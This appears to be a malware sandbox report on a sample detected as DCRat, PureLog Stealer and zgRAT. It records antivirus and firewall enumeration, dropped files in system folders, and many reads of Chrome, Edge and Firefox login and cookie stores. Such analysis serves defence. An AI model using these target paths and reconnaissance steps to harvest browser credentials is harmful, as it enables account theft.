Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Z90Z9bYzPa.exe, 00000005.00000002.2937873576.000000001BA5F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2925525907.0000000003126000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2925525907.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1710313618.0000000013768000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Z90Z9bYzPa.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z90Z9bYzPa.exe PID: 7560, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: Z90Z9bYzPa.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Z90Z9bYzPa.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1668200859.0000000000EA2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\dllhost.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: Z90Z9bYzPa.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Z90Z9bYzPa.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files\Windows Defender\en-US\UdtvoblhRrdVjJaLCN.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Internet Explorer\en-GB\SgrmBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\dllhost.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Users\user\Desktop\Z90Z9bYzPa.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
